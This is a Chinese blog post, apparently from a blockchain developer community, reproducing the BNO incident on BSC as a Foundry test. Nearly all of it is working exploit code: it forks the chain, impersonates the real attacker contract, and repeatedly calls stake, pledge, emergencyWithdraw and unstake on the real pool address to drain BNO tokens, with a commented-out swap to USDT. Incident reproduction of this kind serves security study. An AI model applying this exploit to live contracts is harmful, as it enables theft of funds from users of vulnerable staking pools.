BNO事件代码复现

  • Archime
  • 更新于 2023-07-20 08:53
  • 阅读 2668

BNO事件代码复现

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

interface IPool {
    function stakeNft(uint[] memory tokenIds)   payable external; 
    function emergencyWithdraw()  external;
    function pledge(uint256 _stakeAmount)    payable external;
    function unstakeNft(uint[] memory tokenIds)  payable external;

}

contract BNOTest is Test {
    IERC20 constant BNO = IERC20(0xa4dBc813F7E1bf5827859e278594B1E0Ec1F710F);
    IERC721 constant NFT = IERC721(0x8EE0C2709a34E9FDa43f2bD5179FA4c112bEd89A);
    address private constant BNO_attacker_contract = 0xD138b9a58D3e5f4be1CD5eC90B66310e241C13CD;
    IPool pool = IPool(0xdCA503449899d5649D32175a255A8835A03E4006);
    IPancakeRouter pancake = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    address private constant bscusd = 0x55d398326f99059fF775485246999027B3197955;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 30056661);
        cheats.label(address(BNO),"BNO");
        cheats.label(address(NFT),"NFT");
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) external returns (bytes4) {
        return this.onERC721Received.selector;
    }

    function testExploit() public {
        //将13、14 NFT转给本合约
        cheats.startPrank(BNO_attacker_contract);
        NFT.transferFrom(BNO_attacker_contract,address(this),13);
        NFT.transferFrom(BNO_attacker_contract,address(this),14);
        BNO.transfer(address(this),BNO.balanceOf(BNO_attacker_contract));
        cheats.stopPrank();

        //赋予本合约地址1 ether
        deal(address(this),10 ether);

        emit log_named_decimal_uint("Before attack BNO balance",BNO.balanceOf(address(this)),BNO.decimals());
        emit log_named_decimal_uint("Before attack ether balance",address(this).balance,18);
        console.log("NFT belong ",NFT.ownerOf(13));
        console.log("NFT belong ",NFT.ownerOf(14));

        uint256[] memory nfts = new uint256[](2);
        nfts[0] = 13;
        nfts[1] = 14;

        for (uint256 i=0;i<10;i++){
            NFT.approve(address(pool),13);
            NFT.approve(address(pool),14);
            pool.stakeNft{value:0.008 ether}(nfts);
            BNO.approve(address(pool),BNO.balanceOf(address(this)));
            pool.pledge{value:0.008 ether}(BNO.balanceOf(address(this)));
            pool.emergencyWithdraw();
            pool.unstakeNft{value:0.008 ether}(nfts);

        }
        emit log_named_decimal_uint("After attack BNO balance",BNO.balanceOf(address(this)),BNO.decimals());

        address[] memory path = new address[](2);
        path[0] = address(BNO);
        path[1] = bscusd;

        //BNO.approve(address(pool),BNO.balanceOf(address(this)));
        //pancake.swapExactTokensForTokensSupportingFeeOnTransferTokens(BNO.balanceOf(address(this))*40/100,0,path,address(this),1689641833);

        //emit log_named_decimal_uint("After attack ether balance",address(this).balance,18);
    }

}
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Archime
Archime
0x96C4...508C
江湖只有他的大名,没有他的介绍。